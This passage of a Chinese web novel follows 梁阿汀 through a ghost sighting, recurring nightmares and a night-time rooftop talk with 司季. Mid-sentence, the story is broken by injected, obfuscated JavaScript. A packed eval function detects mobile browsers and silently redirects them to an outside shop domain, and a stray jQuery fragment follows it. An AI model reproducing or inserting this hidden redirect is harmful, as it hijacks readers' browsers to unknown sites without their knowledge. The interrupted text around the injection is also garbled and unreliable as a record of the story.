少年盯着她看了好久,久到梁阿汀准备转身离开了,他突然站了起来,朝她伸出手:“赵不怵。”
梁阿汀欣然握住了他的手:“梁阿汀。”
坐着的时候看不太出来,赵不怵一站起来,梁阿汀惊觉这个看起来年龄不过十八九的少年,身高居然直逼一米九。
“你有队伍吗?”梁阿汀问。
赵不怵说:“算是有吧,挂个名而已。”
梁阿汀了然点点头,收回了手。
“有机会可以一起合作,我先回去了。”说着,梁阿汀转身,准备离开游戏厅。
“等一下!”赵不怵突然叫住了她。
梁阿汀回头,看到赵不怵一直在看她的肩膀和头顶,视线来回移动,满脸欲言又止。
“怎么了?”
“你……”赵不怵组织着语言,试探着问,“你有没有感觉头重脚轻?或者身体很累,使不上力气?”
梁阿汀直觉赵不怵知道些什么,她停下脚步,如实回答道:“有,我从副本里出来到现在一直都感觉身体很重,很累。”
联想到司季跟她说过的关于赵不怵的一些事情,梁阿汀有了一个猜想:“你看到什么了吗?”
赵不怵盯着她的肩膀上方,犹豫着点了点头:“你身上有东西。”
梁阿汀后背无端发凉:“什么东西?”
赵不怵缓慢地摇摇头:“我看不清,我只能看见你的肩膀和头顶上有一团很淡很淡的黑影,像是有东西趴在了你肩膀上,一直压着你。”
这个说法相当恐怖了,这等于是告诉梁阿汀,有鬼缠上她了。
现在就是不知道这个东西是什么时候缠上她的,是从副本里跟着她一起出来的?还是说从她进入这个无限系统里的那天开始就一直缠着她了。
甚至自己这段时间身体状况低下也有可能都是因为这东西在身上作怪。
“我从小就很招这些东西,我奶奶教过我一个驱赶它们的办法,我试试看能不能帮你把它赶走吧。”赵不怵走到梁阿汀面前,低头盯着她的肩膀看。
看着看着,他的眼神暗了下来,黑色的瞳孔里倒映着梁阿汀的身影。
他把手伸到梁阿汀肩膀上,嘴里默念着什么。声音很小,语速很快,梁阿汀没听清。
过了一会,赵不怵突然抬眼,眼睛里闪过一丝疑惑。
“这个东西并没有恶意,它不是恶鬼。”
“没有恶意?”
“对。”赵不怵挠挠头,不解道,“我从没遇到过这种情况,这个东西就只是趴在你的肩膀上,像个装饰品,它对你没有任何恶意。”
“那……没有办法把它赶下来吗?”
“它虽然没有恶意,但是执念很深,靠我的力量没办法让它下来,除非我奶奶在这里。”赵不怵耸耸肩,“不过既然没有恶意,那你产生的这些症状应该跟它关系不大,就让它待在你肩膀上吧,说不定以后有用。”
既来之则安之,专业人士都说搞不定,梁阿汀也不再强求,向赵不怵道了谢,便回到了自己的住处。
--
梁阿汀这一觉睡了相当久,睁开眼睛的时候已经是深夜了。
房间里没有开灯,黑漆漆的,梁阿汀在床上静静地躺了很久。眼睛底下湿湿的,有什么东西流淌下来了,她伸出手,抹掉了眼角的眼泪。
大家几乎都休息了,外面很安静。
梁阿汀颤抖着呼出一口气,心里像被塞了石头,又沉又堵。梦里的一切她都忘了,可做梦时的惊恐与绝望却始终萦绕在心头,久久不散。
从第二个副本出来之后,她就经常做噩梦。已经过去七天了,这七天里,只要她睡着,就会反复陷入同一个梦境之中。
梦里的人有一头火红的头发,面容是模糊的,她看不清对方的样子,却知道自己非常非常地依赖对方,就好像……只要有对方在,她就可以什么都不怕。
七天里,每一次做梦的内容都是不一样的,最开始并不是噩梦,只是一些生活片段,可随着她做梦的次数越来越多,梦境本身也变得越来越可怕。她能感觉到梦里的那个人在做非常危险的事,她想阻止,却无能为力,梦里的她就好像是一个观众,在观看着不属于她的人生。
在刚才的梦里,她死了。有人在哭,有人在骂,还有人在喊她,让她别走。
但她最后还是闭上了眼睛。
然后梁阿汀就醒了。
她把手搭在额头上,喃喃自语:“你是想通过这些梦告诉我什么呢?”
没有人回应她。
梁阿汀拿起手机,她开了静音,在她睡觉的这几个小时内,司季给她发了两条消息。一条是问她要吃晚饭吗,另一条是一个小时前,问她是不是睡着了,身体状况怎么样。
只有两条消息,没有得到她的回应,司季也没再发第三条消息,相当有边界感。
梁阿汀幽幽叹了口气。
就是过于有边界感了。
她突然冒出一个不合时宜的想法,就是她如果在这几个小时里猝死了,会过去多长时间才能被人发现?
这个想法冒出来的下一秒,梁阿汀就大声呸呸呸,把这个莫名其妙的想法驱赶走了。
在没回到现实世界参加高考之前,她才不会这么轻易死掉呢。
看了眼时间,已经凌晨一点多了,梁阿汀想了想,还是回了司季的消息。
【我睡着了,身体状况还好,不用担心。】
想着这个时间对方兴许也睡了,梁阿汀没指望他回复,发完消息就把手机熄屏了。结果她刚熄屏,手机就震了一下。
司季:好,注意休息。
梁阿汀失笑,这是被她吵醒了?她赶紧道歉。
【对不起啊,吵醒你了。】
司季:没,正好我还没睡。
【失眠?】
司季:算是吧,没有那么想睡。
手机举着胳膊酸,梁阿汀翻了个身,干脆发语音:“想出去走走吗?”
司季没有回复。
这么快就睡着了?
梁阿汀不再说话,放下手机,闭上眼睛,尝试着入睡。距离天亮还有很长一段时间,如果睡不着,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712348|205890||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就要睁着眼睛挨过去了,那也太痛苦了。
没过多久,门口就传来脚步声,接着,是非常有礼貌的敲门声。
无端的,梁阿汀就觉得那是司季,她翻身下床,打开了门。
走廊的长明灯亮着,冷白的光打在少年乌黑的头发上,他背着光,偏长的睫毛在脸上落下一小片阴影,五官被灯光显得更加清冷。
“去哪?”他问。
梁阿汀低下头,看看自己一身睡衣的装扮,稍稍犹豫了片刻,决定不换衣服了。大半夜的,除了睡不着的他们,谁还会到处溜达?
她锁了门,和司季一起走出了住宿区。
这些房间的设施倒是一应俱全,连换洗的衣服都有,就是没有窗户,不看时间就分不清白天还是黑夜。
前几天梁阿汀在搜集情报的时候,无意间了解到,这里是有天台的。虽然房间里没有窗户,但顶楼是通天台的,坐电梯到最高层,再爬一小节台阶就到了。
这里是整个第三层,唯一能呼吸到新鲜空气的地方了,白天这里会有很多人,但到了深夜……
梁阿汀用力推开天台的小门,冷风呼啸着灌进来,她扯了扯衣领,快步往前走,离开了风口。
天台上空无一人,漆黑一片。不知是月亮被云层遮挡了,还是这里根本就没有月亮。
梁阿汀拽紧了衣领,慢慢走到了天台边缘。系统制作的空间相当逼真,梁阿汀感觉自己就像真的站在了现实世界的某一栋摩天大楼上,夜风顺着衣领往衣服里灌,有些冷。
她回过头,招呼司季:“来都来了,站上来看看呀。”
司季犹豫了一会,最后慢吞吞地走到她身边,眼睛直愣愣地盯着前方,一眼都不往下看,手指又开始绞个不停。
“你恐高吗?”
司季没有做声,但手指已然是暴露了他的情绪。
梁阿汀扯了扯嘴角,拉着司季后退了两步。
“我以前特别喜欢去学校天台,巧的是,我的初中和高中还都有天台,一到课间休息,我就去。”她微微仰头,似是在漆黑的夜空上寻找着当时的记忆,“我喜欢站在天台边缘,脚尖抵着最边缘的那条线,然后向下看。”
“为什么呢?”司季问。
“因为我觉得,那是我离自由最近的时候。”她转头,看向司季,“只要往前迈一步,我就会摔下去,但是否迈步,完全取决于我自己,也就是说,我的生命完全由我自己来掌控,这种感觉我很喜欢。”
“所以司季,你知道当我进入这个地狱系统的时候,我的第一想法是什么吗?”
司季和她对视,很认真地问道:“是什么?”
梁阿汀突然笑了,恰巧又是一阵夜风吹过,吹乱了她半长的头发,凌乱的发丝遮不住她肆意张扬的笑容。
司季看呆了。
梁阿汀就那么笑着跟他说:“我当时就想,这种生命被别人掌控的感觉很糟糕,我不喜欢,我一定要闯到十八层去,去看看到底是什么东西敢随意玩弄我们的生命。”
“然后,把它拖出来,狠狠暴揍一顿。”